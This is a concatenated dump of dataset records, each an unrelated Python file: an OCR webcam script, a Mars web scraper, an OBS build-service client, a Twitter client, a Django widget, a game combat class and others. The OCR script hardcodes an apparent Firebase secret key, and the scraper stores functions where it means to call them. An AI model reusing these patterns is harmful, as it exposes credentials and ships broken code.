name='import_application_new')\n]\n","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":8574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"402384201","text":"\"\"\"\nProject name: Stock Exchange Data\nAuthor: Caleb Moore\nDue Date: 06/06/2020\nCourse: CS1400-001\n\nThis program analyzes stock data to determine significant points in each of three stocks, and outputs a\nfile with results.\n\"\"\"\n\n\ndef assemble_string(name, stock_set):\n\n maximum = 0\n minimum = 1\n max_date = 3\n min_date = 4\n stock_average = 6\n\n assembled_string = f\"{name}\\n---------\\n\"\n assembled_string += f\"Max: {stock_set[maximum]} {stock_set[max_date]}\\n\"\n assembled_string += f\"Min: {stock_set[minimum]} {stock_set[min_date]}\\n\"\n assembled_string += f\"Ave: {stock_set[stock_average]} \\n\\n\"\n\n return assembled_string\n\n\ndef extreme_points(list_entry, stock_set):\n\n # stock = 0 # these variables are for specificity\n date = 1\n price = 2\n maximum = 0\n minimum = 1\n stock_sum = 2\n max_date = 3\n min_date = 4\n count = 5\n stock_average = 6\n\n if float(list_entry[price]) > float(stock_set[maximum]):\n stock_set[maximum] = list_entry[price]\n stock_set[max_date] = list_entry[date]\n\n if float(list_entry[price]) < float(stock_set[minimum]):\n stock_set[minimum] = list_entry[price]\n stock_set[min_date] = list_entry[date]\n\n stock_set[count] += 1\n stock_set[stock_sum] += float(list_entry[price])\n stock_set[stock_average] = stock_set[stock_sum] / stock_set[count]\n\n return stock_set\n\n\ndef main():\n\n # array reference dictionary\n stock_ = 0\n symbol = 7\n value = 1\n value_date = 2\n maximum = 0\n minimum = 1\n max_date = 3\n min_date = 4\n\n # Maximum, Minimum, Stock Sum, Max Date, Min Date, Count, Average, symbol\n apple = [0, 999999, 0, \"\", \"\", 0, 0, \"AAPL\"]\n msft = [0, 999999, 0, \"\", \"\", 0, 0, \"MSFT\"]\n ibm = [0, 999999, 0, \"\", \"\", 0, 0, \"IBM\"]\n stock_list = [apple, msft, ibm]\n\n # overall max and min\n overall_max = [\"\", 0, \"\"]\n overall_min = [\"\", 9999999, \"\"]\n overall_string = [\"\", \"\"]\n\n try:\n stock_file = open(\"stocks_data.csv\", \"r\")\n except OSError:\n print(\"file 'stocks_data.csv' does not exist\")\n exit()\n\n stocks_array = []\n stock_file.readline() # Simple way to skip a line\n stock_line = stock_file.readline()\n\n while stock_line != \"\":\n\n stock_line = stock_line.strip()\n stocks_array.append(stock_line.split(\",\"))\n stock_line = stock_file.readline()\n\n stock_file.close()\n\n for entry in stocks_array:\n if entry[0] == \"AAPL\":\n apple = extreme_points(entry, apple)\n elif entry[0] == \"MSFT\":\n msft = extreme_points(entry, msft)\n elif entry[0] == \"IBM\":\n ibm = extreme_points(entry, ibm)\n\n stock_string = [assemble_string(\"AAPL\", apple), assemble_string(\"MSFT\", msft), assemble_string(\"IBM\", ibm)]\n\n results_file = open(\"stock_summary.txt\", 'w')\n\n for stock in stock_string:\n results_file.write(stock)\n print(stock)\n\n for choice in stock_list:\n if float(choice[maximum]) > float(overall_max[1]):\n overall_max[stock_] = choice[symbol]\n overall_max[value] = choice[maximum]\n overall_max[value_date] = choice[max_date]\n overall_string[minimum] = f\"Maximum {overall_max[0]} {overall_max[1]} {overall_max[2]}\"\n if float(choice[minimum]) < float(overall_min[1]):\n overall_min[stock_] = choice[symbol]\n overall_min[value] = choice[minimum]\n overall_min[value_date] = choice[min_date]\n overall_string[maximum] = f\"Minimum {overall_min[0]} {overall_min[1]} {overall_min[2]}\"\n\n for string_select in overall_string:\n results_file.write(string_select)\n results_file.write(\"\\n\")\n print(string_select)\n\n results_file.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"CS1400/stock_exchange/Project_4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"5440217","text":"import unittest\nfrom HTMLTestRunner import HTMLTestRunner\n\n# 待执行用例的目录\ndef allcase():\n case_dir = r\"D:\\sample1\\fk_testsuit\"\n #case_path=os.path.join(os.getcwd(),\"case\")\n testcase = unittest.TestSuite()\n discover = unittest.defaultTestLoader.discover(case_dir,\n pattern='test*.py',\n top_level_dir=None)\n # discover方法筛选出来的用例,循环添加到测试套件中\n # print(discover)\n for test_suite in discover:\n for test_case in test_suite:\n # 添加用例到testcase\n print(test_case)\n testcase.addTest(test_case)\n return testcase\n\n\nif __name__ == \"__main__\":\n runner = unittest.TextTestRunner()\n filename='result.html'\n fp=open(filename,'wb')\n runner = HTMLTestRunner(stream=fp, title='测试报告', description='测试报告:')\n runner.run(allcase())\n fp.close()","sub_path":"fk_testsuit/run_all_case.py","file_name":"run_all_case.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"646279658","text":"'''Cross-circle game with mixed random rewards'''\nimport numpy as np\nfrom cross_circle_gym.envs.cross_circle_base import CrossCircleBase\n\nclass CrossCircleMixedRand(CrossCircleBase):\n '''Environment providing a grid of circles (negative rewards)'''\n\n def setup_field(self):\n self.layout(random=True, mixed=True)\n\n def make_random_state(self, min_entities=1, max_entities=30):\n '''Make random layout for training, return state'''\n self.entities = {'cross': [], 'circle': []}\n self.agent = {'center': None, 'top_left': None}\n self.state = {'circle': np.zeros((self.field_dim, self.field_dim)),\n 'cross': np.zeros((self.field_dim, self.field_dim)),\n 'agent': np.zeros((self.field_dim, self.field_dim))\n }\n self.layout(random=True,\n mixed=True,\n min_entities=min_entities,\n max_entities=max_entities,\n random_agent=True)\n return self.combined_state\n","sub_path":"cross_circle_gym/envs/cross_circle_mixed_rand.py","file_name":"cross_circle_mixed_rand.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"179432066","text":"# Copyright (c) 2019 SUSE Linux GmbH\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport re\nimport logging\nimport os\nimport io\nimport xml.etree.ElementTree as ET\n\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nlogger = logging.getLogger(__name__)\n\n\nclass OBSCIObs(object):\n \"\"\"Handle interaction with OBS\"\"\"\n def __init__(self, url, username, password):\n self._url = url\n self._username = username\n self._password = password\n self._obs_auth = HTTPBasicAuth(self._username, self._password)\n\n def _get_project_meta(self, project):\n \"\"\"get the OBS metadata for the given project\"\"\"\n url = '{}/source/{}/_meta'.format(\n self._url, project)\n resp = requests.get(url, auth=self._obs_auth)\n if not resp.status_code == 200:\n raise Exception('Can not get _meta ({})'.format(resp.status_code))\n\n # FIXME: we trust the input from OBS here. Should be use defusedxml?\n root = ET.fromstring(resp.text)\n return root\n\n def _get_download_url(self):\n # FIXME: This is a hack. There is no way to get the download\n # url via the OBS API\n if 'opensuse.org' in self._url:\n return 'https://download.opensuse.org/repositories/'\n elif 'suse.de' in self._url:\n return 'http://download.suse.de/ibs/'\n else:\n raise Exception('Can not guess download url for \"{}\"'.format(\n self._url))\n\n def get_project_repositories(self, project, repo, arch):\n \"\"\"get the defined repositories from the project metadata\"\"\"\n repos = []\n root = self._get_project_meta(project)\n for r in root.findall('./repository/[@name=\\'{}\\']'.format(repo)):\n # we are only interested in repos with the given arch\n # FIXME: I guess this can be done better with xpath\n found_arch = r.findall('[arch=\\'{}\\']'.format(arch))\n if not found_arch:\n continue\n # get the repo project and repo name\n for found_path in r.findall('path'):\n publish_url = '{}{}/{}'.format(\n self._get_download_url(),\n found_path.get('project').replace(':', ':/'),\n found_path.get('repository'),\n )\n repos.append({'project': found_path.get('project'),\n 'repository': found_path.get('repository'),\n 'publish_repo_url': publish_url})\n return repos\n\n def get_binaries_list(self, project, repo, arch, package):\n url = '{}/build/{}/{}/{}/{}'.format(\n self._url, project, repo, arch, package)\n resp = requests.get(url, auth=self._obs_auth)\n if not resp.status_code == 200:\n raise Exception('Can not get list of OBS binary '\n 'packages ({})'.format(resp.status_code))\n # FIXME: we trust the input from OBS here. Should be use defusedxml?\n root = ET.fromstring(resp.text)\n # FIXME: currently only RPMs will be used\n wanted = []\n for c in root:\n # ignore source packages\n if c.attrib['filename'].endswith('.src.rpm'):\n continue\n if c.attrib['filename'].endswith('.rpm'):\n wanted.append(c.attrib['filename'])\n return wanted\n\n def get_binaries(self, dest_dir, project, repo, arch, package):\n downloaded = []\n name_list = self.get_binaries_list(project, repo, arch, package)\n logger.info('Start downloading {} binaries files from OBS'.format(\n len(name_list)))\n for name in name_list:\n url = '{}/build/{}/{}/{}/{}/{}'.format(\n self._url, project, repo, arch, package, name)\n r = requests.get(url, auth=self._obs_auth, stream=True)\n if not r.status_code == 200:\n raise Exception('Can not get OBS binary package '\n 'from {}'.format(url))\n dest = os.path.join(dest_dir, name)\n with open(dest, 'wb') as f:\n for chunk in r.iter_content(4096):\n f.write(chunk)\n downloaded.append(dest)\n logger.info('Download of binaries files from OBS done')\n return downloaded\n\n def _get_file_from_package(self, project, package, filename):\n \"\"\"try to get a file from a project/package\"\"\"\n url = '{}/source/{}/{}/{}'.format(\n self._url, project, package, filename)\n r = requests.get(url, auth=self._obs_auth)\n if not r.status_code == 200:\n logger.info('Can not get file \"{}\" file from '\n 'package ({})'.format(filename, r.status_code))\n return None\n f = io.BytesIO()\n for chunk in r.iter_content(4096):\n f.write(chunk)\n f.seek(0)\n logger.info('Got \"{}\" file from package {}/{}'.format(\n filename, project, package))\n # a BytesIO object\n return f\n\n def get_config_from_package(self, project, package):\n \"\"\"try to find a _obsci in a package\"\"\"\n f = self._get_file_from_package(project, package, '_obsci')\n return f\n\n def get_config_from_project(self, project):\n \"\"\"try to find a _obsci key in the project config\"\"\"\n url = '{}/source/{}/_config'.format(\n self._url, project)\n r = requests.get(url, auth=self._obs_auth)\n if not r.status_code == 200:\n logger.info('Can not get _config from project ({})'.format(\n r.status_code))\n return None\n f = io.BytesIO()\n for chunk in r.iter_content(4096):\n f.write(chunk)\n f.seek(0)\n match = re.search(r'^_obsci:\\s*\\'(.*)\\'', f.read().decode('UTF-8'),\n re.MULTILINE)\n if not match:\n return None\n return match.group(1)\n\n def get_test_from_package(self, project, package, testfilename):\n f = self._get_file_from_package(project, package, testfilename)\n return f\n","sub_path":"obsci/worker/obs.py","file_name":"obs.py","file_ext":"py","file_size_in_byte":6609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"205472927","text":"from PIL import Image\r\nfrom firebase import firebase\r\nimport pytesseract\r\nimport argparse\r\nimport cv2\r\nimport time\r\nimport os\r\nimport numpy as np\r\n\r\nfirebase = firebase.FirebaseApplication('https://pyocr-464c8.firebaseio.com/')\r\nSECRET_KEY = 'gi2m28GsAeA2FPEdYJpAN4MAeM1qAUMZMlboifeQ'\r\n\r\n\r\ncap= cv2.VideoCapture(0)\r\ncount=0\r\n\r\nwhile(count<=100):\r\n ret,image=cap.read()\r\n #if it's an external web cam , image=cv2.flip(image,-1)\r\n cv2.imshow('image',image)\r\n count+=1\r\n cv2.waitKey(50) & 0xff\r\n cv2.imwrite(\"images/test.png\", image) #it can also be directly given with the name in which image should be stored.Not necessarily foldername/image name....refer note\r\ncap.release()\r\n# construct the argument parse and parse the arguments\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-i\", \"--image\", required=True, #--image : The path to the image we’re sending through the OCR system.\r\n\thelp=\"image\")\r\nap.add_argument(\"-p\", \"--preprocess\", type=str, default=\"thresh\",\r\n\thelp=\"type of preprocessing to be done\")\r\nargs = vars(ap.parse_args())\r\n\r\n# load the example image and convert it to grayscale\r\ntest = cv2.imread(args[\"image\"])\r\ngray = cv2.cvtColor(test, cv2.COLOR_BGR2GRAY)\r\n\r\ncv2.imshow(\"Image\", gray)\r\n\r\n# check to see if we should apply thresholding to preprocess the\r\n# image\r\nif args[\"preprocess\"] == \"thresh\":\r\n\tgray = cv2.threshold(gray, 0, 255,\r\n\t\tcv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\r\n\r\n# make a check to see if median blurring should be done to remove\r\n# noise\r\nelif args[\"preprocess\"] == \"blur\":\r\n\tgray = cv2.medianBlur(gray, 3)\r\n\r\n# write the grayscale image to disk as a temporary file so we can\r\n# apply OCR to it\r\nfilename = \"{}.png\".format(os.getpid())\r\ncv2.imwrite(filename, gray)\r\n\r\n# load the image as a PIL/Pillow image, apply OCR, and then delete\r\n# the temporary file\r\nmytext = pytesseract.image_to_string(Image.open(filename))\r\nos.remove(filename)\r\nprint(mytext)\r\nfirebase.put(\"vehicle\", \"id\", mytext)\r\nprint(\"done\")\r\ntime.sleep(5)\r\n\r\n# show the output images\r\n# cv2.imshow(\"Image\", image)\r\ncv2.imshow(\"Output\", gray)\r\ncv2.waitKey(0)\r\n\r\n\r\n","sub_path":"webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"611470358","text":"#########\n# GLOBALS\n#########\n\n\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport time\nimport pickle\nimport matplotlib.pyplot as plt\nimport networkx as nx\nfrom graph_nets import utils_np\nfrom graph_nets.demos import models\n\n# Local modules\nimport utils\n\n\n#########\n# HELPERS\n#########\n\n# small changes to accommodate networkxs\n# now target and output should be data_dicts\n# returns arrays instead of floats\ndef compute_accuracy(target, output, use_nodes=True, use_edges=False):\n if not use_nodes and not use_edges:\n raise ValueError(\"Nodes or edges (or both) must be used\")\n\n # tdds = utils_np.graphs_tuple_to_data_dicts(target)\n # odds = utils_np.graphs_tuple_to_data_dicts(output)\n\n cs, ss = [], []\n for td, od in zip(target, output):\n\n xe = np.argmax(td[\"edges\"], axis=-1)\n ye = np.argmax(od[\"edges\"], axis=-1)\n\n c = [xe == ye] if use_edges else []\n c = np.concatenate(c, axis=0)\n\n s = np.all(c)\n cs.append(c)\n ss.append(s)\n\n # correct = np.mean(np.concatenate(cs, axis=0))\n # solved = np.mean(np.stack(ss))\n\n correct = np.concatenate(cs, axis=0)\n solved = np.stack(ss)\n\n return correct, solved\n\n\ndef visualize_network(G, H, filename, dpi=1000):\n # G is input, H is target/output\n\n G = G.to_undirected()\n H = H.to_undirected()\n pos = nx.spring_layout(G)\n\n edge_weights = nx.get_edge_attributes(G, \"features\")\n # new_weights = [int(edge_weight) for edge_weight in edge_weights]\n\n edge_labels = list(nx.get_edge_attributes(H, \"features\").values())\n new_labels = [np.argmax(edge_label) for edge_label in edge_labels]\n\n nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_weights)\n nx.draw(G, pos, edge_color=labels_to_colors(new_labels, 'r', 'k'))\n\n plt.savefig(\"../figures/\" + filename, dpi=dpi)\n plt.close()\n\n# def visualize_output(G, H, filename, dpi=1000):\n# # G is input, H is output\n# G = G.to_undirected()\n# pos = nx.spring_layout(G)\n# edge_labels = list(nx.get_edge_attributes(G, \"features\").values())\n# new_labels = [np.argmax(edge_label) for edge_label in edge_labels]\n#\n# # nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_labels)\n# nx.draw(G, pos, edge_color=labels_to_colors(new_labels, 'r', 'k'))\n#\n# plt.savefig(\"../figures/\" + filename, dpi=dpi)\n# plt.close()\n\n\ndef labels_to_colors(labels, col1, col2):\n colors = [col1 * label + col2 * (1-label)\n for label in labels]\n return colors\n\n###########\n# VISUALIZE\n###########\n\n\n# read file\nfile = open(\"../data/pickles/test_results.pkl\", \"rb\")\ndict = pickle.load(file)\n\noutputs = dict[\"outputs\"]\ntargets = dict[\"targets\"]\ninputs = dict[\"inputs\"]\nn = len(outputs)\n\noutputs_dd = [utils_np.networkx_to_data_dict(output) for output in outputs]\ntargets_dd = [utils_np.networkx_to_data_dict(target) for target in targets]\ncorrect, solved = compute_accuracy(outputs_dd, targets_dd, use_edges=True)\n\nfor i in range(200):\n input = inputs[i]\n output = outputs[i]\n target = targets[i]\n\n if solved[i] == True:\n visualize_network(input, output, \"correct/output{}.png\".format(i))\n visualize_network(input, target, \"correct/target{}.png\".format(i))\n else:\n visualize_network(input, output, \"incorrect/output{}.png\".format(i))\n visualize_network(input, target, \"incorrect/target{}.png\".format(i))\n\n# print(outputs[0].edges(data=True))\n# print('----------------')\n# print(targets)\n# print('----------------')\n# print(inputs[0].edges(data=True))\n","sub_path":"src/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"632249732","text":"# -*- coding:utf-8 -*-\nfrom os.path import join\nimport django.utils.copycompat as copy\nfrom itertools import chain\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.utils.datastructures import MultiValueDict, MergeDict\nfrom django.utils.html import escape, conditional_escape\nfrom django.utils.translation import ugettext\nfrom django.utils.encoding import StrAndUnicode, force_unicode\nfrom django.utils.safestring import mark_safe\nfrom django.utils import datetime_safe, formats\nimport time\nimport datetime\nfrom django.forms.util import flatatt\nfrom django.forms.widgets import Widget\nfrom urlparse import urljoin\n\nPL_MEDIA_URL = join(settings.STATIC_URL, \"photologue_extensions\")\n\nclass SelectPhoto(Widget):\n def __init__(self, attrs=None, choices=()):\n super(SelectPhoto, self).__init__(attrs)\n self.choices = list(choices)\n\n def render(self, name, value, attrs=None, choices=()):\n if value is None: value = ''\n final_attrs = self.build_attrs(attrs, name=name)\n output = []\n output.append(u'' % reverse(\"photologue_api\"))\n\n output.append(u'
' % name)\n output.append(u'' % (flatatt(final_attrs), value))\n output.append(u'
' % name)\n output.append(u'
' % name)\n output.append(u'' % name)\n output.append(u'
')\n\n output.append(u'
' % name)\n\n output.append(u'' % (name, name))\n\n output.append(\"
\" % name)\n\n if value:\n options = self.render_options(choices, [value])\n else:\n options = None\n\n if options:\n output.append(options)\n\n output.append(\"
\")\n output.append(u'
')\n output.append(u'
')\n output.append(u'
')\n output.append(\"\"\"\"\"\" % PL_MEDIA_URL)\n\n if options:\n output.append(u'' % name)\n\n return mark_safe(u'\\n'.join(output))\n\n def render_options(self, choices, selected_choices):\n output = []\n for p in self.choices.queryset.all()[:10]:\n img = u'' % (p.title, p.id, getattr(p, 'get_admin_thumbnail_url', None))\n output.append(img)\n\n return u'\\n'.join(output)\n\n class Media:\n css = {\n 'all': ('%s/css/photologue_extensions.css' % PL_MEDIA_URL,),\n }\n","sub_path":"photologue_extensions/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"12421179","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup\nimport pandas as pd \nimport datetime as dt \n\ndef init_browser():\n executable_path = {\"executable_path\": \"chromedriver.exe\"}\n return Browser(\"chrome\", **executable_path, headless=True)\n\nmars_information = {}\n\ndef scrape_news():\n \n browser = init_browser()\n url = \"https://mars.nasa.gov/news\"\n browser.visit(url)\n browser.is_element_present_by_css(\"ul.item_list li.slide\", wait_time=0.5)\n html = browser.html\n soup = BeautifulSoup(html, \"html.parser\")\n\n title = soup.find('div', class_='content_title').find('a').text\n paragraph = soup.find('div', class_='article_teaser_body').text\n \n return title, paragraph\n\ndef scrape_image():\n\n browser = init_browser()\n url=\"https://www.jpl.nasa.gov/spaceimages/?search=&categ\"\n browser.visit(url)\n html = browser.html\n soup = BeautifulSoup(html, \"html.parser\")\n featured_url = soup.find('article')['style'].replace('background-image: url(','').replace(');', '')[1:-1]\n main_url = 'https://wwww.jpl.nasa.gov/'\n featured_image_url = main_url + featured_url\n \n return featured_image_url\n\ndef scrape_weather():\n\n browser = init_browser()\n url = \"https://twitter.com/marswxreport?lang=en\"\n browser.visit(url)\n html = browser.html\n soup = BeautifulSoup(html, \"html.parser\")\n mars_weather = soup.find('div', class_='js-tweet-text-container').find('p').text\n \n return mars_weather\n\ndef scrape_facts():\n \n url=\"https://space-facts.com/mars\"\n tables = pd.read_html(url)\n mars_data = pd.DataFrame(tables[0])\n mars_data.columns=['Mars','Data']\n mars_table = mars_data.set_index(\"Mars\")\n mars_info = mars_table.to_html(classes = 'mars_info')\n mars_info = mars_info.replace('\\n', ' ') \n \n return mars_info\n\ndef scrape_hemispheres():\n\n browser = init_browser()\n url = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\n browser.visit(url)\n html = browser.html\n soup = BeautifulSoup(html, \"html.parser\")\n hemispheres = soup.find_all('div', class_='item')\n hemisphere_urls = []\n main_url = 'https://astrogeology.usgs.gov'\n for h in hemispheres:\n title = h.find('h3').text\n img_url = h.find('a', class_='itemLink product-item')['href']\n browser.visit(main_url+ img_url)\n img_html = browser.html\n soup = BeautifulSoup(img_html, 'html.parser')\n img_two = main_url+ soup.find('img', class_='wide-image')['src']\n hemisphere_urls.append({\"title\": title, \"img_url\": img_two}) \n\n return hemisphere_urls\n\ndef scrape_everything():\n \n executable_path = {\"executable_path\": \"chromedriver.exe\"}\n browser = Browser(\"chrome\", **executable_path, headless=False)\n title, paragraph = scrape_news()\n image_url = scrape_image()\n mars_weather = scrape_weather\n facts = scrape_facts\n hemisphere_image_urls = scrape_hemispheres\n\n data = {\n \"title\": title,\n \"paragraph\": paragraph,\n \"featured_image\": image_url,\n \"weather\": mars_weather,\n \"facts\": facts,\n \"hemispheres\": hemisphere_image_urls,\n }\n browser.quit()\n return data \n\nif __name__ == \"__main__\":\n print(scrape_everything())","sub_path":"scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"452565706","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n\"\"\"\nCopyright 2014 David García Garzón, Guifibaix SCCL\n\nThis file is part of Suro.\n\nSuro is free software: you can redistribute it and/or modify\nit under the terms of the Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nSuro is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nAffero General Public License for more details.\n\nYou should have received a copy of the Affero General Public License\nalong with Suro. If not, see .\n\"\"\"\n\n\ndef sequence(string) :\n\t\"\"\"\n\tInterprets strings like the ones the standard Print Dialog\n\tuses to specify pages to be printed.\n\tie. \"2,4,6-9,13\" means \"2, 4, from 6 to 9 and 13\"\n\n\t>>> sequence(\"2\")\n\t[2]\n\t>>> sequence(\"2,9\")\n\t[2, 9]\n\t>>> sequence(\"2,9,4\")\n\t[2, 4, 9]\n\t>>> sequence(\"2-4\")\n\t[2, 3, 4]\n\t>>> sequence(\"2-4,9\")\n\t[2, 3, 4, 9]\n\t>>> sequence(\"2-4,3-5\")\n\t[2, 3, 4, 5]\n\t>>> sequence(\"2-4,b\")\n\tTraceback (most recent call last):\n\t...\n\tValueError: invalid literal for int() with base 10: 'b'\n\t>>> sequence(\"2-b,7\")\n\tTraceback (most recent call last):\n\t...\n\tValueError: invalid literal for int() with base 10: 'b'\n\t>>> sequence(\"2-4-5,7\")\n\tTraceback (most recent call last):\n\t...\n\tValueError: more than two hyphen separated values\n\t\"\"\"\n\tdef processItem(item):\n\t\tif '-' not in item: return [int(item)]\n\t\tvalues = item.split(\"-\")\n\t\tif len(values) != 2:\n\t\t\traise ValueError(\"more than two hyphen separated values\")\n\t\ta,b = values\n\t\treturn list(range(int(a),int(b)+1))\n\n\treturn sorted(set(sum(\n\t\t( processItem(a) for a in string.split(',') )\n\t\t,[])))\n\n\n","sub_path":"somutils/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"31404653","text":"from requests_oauthlib import OAuth1Session\nimport json\n\nclass Twitter:\n def __init__(self):\n with open('key.json', 'r') as f:\n key = json.load(f)['key']\n self.sess = OAuth1Session(key['CONSUMER_KEY'], key['CONSUMER_SECRET_KEY'], key['ACCESS_TOKEN'], key['ACCESS_TOKEN_SECRET'])\n\n def getTimeLine(self, include_entities = 1, exclude_replies = 1) -> list:\n url = 'https://api.twitter.com/1.1/statuses/home_timeline.json'\n params = {\n 'count': 30,\n \"include_entities\": include_entities,\n \"exclude_replies\": exclude_replies\n }\n req = self.sess.get(url, params=params)\n timeline = json.loads(req.text)\n tweetdata = [text['text'] for text in timeline]\n return tweetdata\n\n def tweetUpdate(self, tweet: str):\n url = \"https://api.twitter.com/1.1/statuses/update.json\"\n params = {\"status\": tweet}\n req = self.sess.post(url, params=params)\n if req.status_code == 200:\n print(\"Tweet Succeed!\\t\" + tweet)\n else:\n print(\"ERROR : %d\" % req.status_code)\n\nif __name__ == \"__main__\":\n twitter = Twitter()\n tweet = twitter.getTimeLine()\n print(tweet)\n\n","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"631779238","text":"# Creature class module\n\nimport random\nimport status\n\n# Initialise variables for hit locations\nhit_location_names = ['Head','Off Hand','Body','Favoured Hand','Off Leg','Favoured Leg']\nbase_hit_location_weightings = [4,1,4,6,1,4]\n\n# Initialise healing location priority - lets say the priority order is Head, Body, Favoured Hand, Favoured Leg, Off Leg, Off Hand\nheal_loc_priority = (0,2,3,5,4,1)\n\n# Initialise core statuses\nstatus_prone = status.Status('Prone', 0.75, [1.5,2,1,1,1,0.25])\nstatus_off_hand = status.Status('Using Off hand', 0.75, [1,1,1,1,1,1])\nstatus_disarmed = status.Status('Disarmed', 0, [1,1,1,1,1,1])\n\n# Setup a class for creatures that can fight\nclass Creature:\n 'Class that defines all combat capable creatures'\n\n name_hit_list,base_chance_hit_list = [],[]\n\n def __init__(self,name,base_rating,maxhits,base_damage,weapons=[]):\n self.name,self.base_rating,self.maxhits,self.base_damage = name,base_rating,maxhits,base_damage\n self.status,self.status_durations,self.currhits,self.weapons = [],[],list.copy(self.maxhits),list.copy(weapons)\n\n def get_chance_hit_list(self):\n _chance_hit_list = list.copy(self.base_chance_hit_list)\n return _chance_hit_list\n\n def get_hit_num_list(self):\n return []\n\n def get_rating(self):\n _rating = self.base_rating\n # Check for statuses and weapons that impact rating\n for x in self.status:\n _rating = _rating*x.status_rating_multi\n for y in self.weapons:\n _rating = _rating*y.weapon_rating_multi\n return _rating\n\n def get_damage(self):\n _damage = self.base_damage\n # Check for statuses that impact damage\n # Note : We have chosen to apply modifier before multiplier - this is consistent with how things work in DUTT\n for x in self.status:\n _damage += x.status_damage_mod\n _damage = _damage*x.status_damage_multi\n return _damage\n \n chance_hit_list = property(get_chance_hit_list)\n hit_num_list = property(get_hit_num_list)\n rating = property(get_rating)\n damage = property(get_damage)\n\n def initialize_creature(self):\n 'Reset a creatures perameters to the base state'\n self.status,self.status_durations,self.currhits = [],[],list.copy(self.maxhits)\n\n def check_use_ability(self):\n 'Check if creature will use a special ability this round and which they will use'\n return None\n\n def determine_hit_location(self):\n 'Return a hit location number using the creatures location weightings'\n # Setup temporary variables for random number and repetition avoidance\n rand_no_location = random.random()\n _hit_num_list = list.copy(self.hit_num_list)\n # Handle the case of Global hits monsters\n if len(_hit_num_list) == 1:\n hit_location_num = 0\n # Otherwise use the location list\n else:\n for x in range(len(_hit_num_list)):\n if _hit_num_list[x] <= rand_no_location <= _hit_num_list[x+1]:\n hit_location_num = x\n return hit_location_num\n \n def damage_creature(self,hit_location_num,damage):\n 'Apply damage to a location on a creature based on the appropriate logic for its type'\n self.currhits[hit_location_num] -= damage\n\n def apply_status(self,newstatus,newstatus_duration):\n 'Apply a status to a creature; -1 for permanent durations'\n # No duplicate statuses allowed so do a check\n if newstatus not in self.status:\n list.append(self.status,newstatus)\n list.append(self.status_durations,newstatus_duration)\n else:\n return\n\n def update_status(self):\n 'Update the status of a creature at the start of a new round'\n # Initialise a blank list of statuses to delete\n deletelist = []\n # Loop over statuses\n for x in range(len(self.status_durations)):\n # Identify statuses with no remaining duration which are to be removed\n if self.status_durations[x] == 0:\n deletelist.append(x)\n # If a status has a positive duration reduce it by one\n if self.status_durations[x] > 0:\n self.status_durations[x] -= 1\n # Loop backwards over the deletelist and remove expired statuses\n for index in sorted(deletelist,reverse=1): \n del self.status[index]\n del self.status_durations[index] \n\n# Should rename this class to something less likely to cause python issues\nclass Global(Creature):\n 'Class which defines creatures with global hits'\n name_hit_list = ['Global']\n base_chance_hit_list = [1]\n hit_num_list = [1]\n\n def damage_creature_direct(self,damage):\n 'Apply direct damage to a creature based on the appropriate logic for its type'\n self.currhits[0] -= damage\n\n def check_incapacitated(self):\n 'Return 1 if the creature is incapacitated and incapable of fighting and 0 otherwise'\n # Global creatures are incapacitated if their hits drop to zero\n if self.currhits[0] <= 0:\n return 1\n else:\n return 0\n\n def heal_creature(self,healing):\n 'Apply healing to creature in a (somewhat) logical fashion'\n # Global healing is simple, just don't let it overflow the maxhits\n self.currhits[0] = min((self.currhits[0] + healing, self.maxhits[0]))\n\n def get_healable_damage(self):\n 'Return the total ammount of damage which can still be healed (i.e to non-destroyed locations) the creature has taken'\n healable_damage = self.maxhits[0] 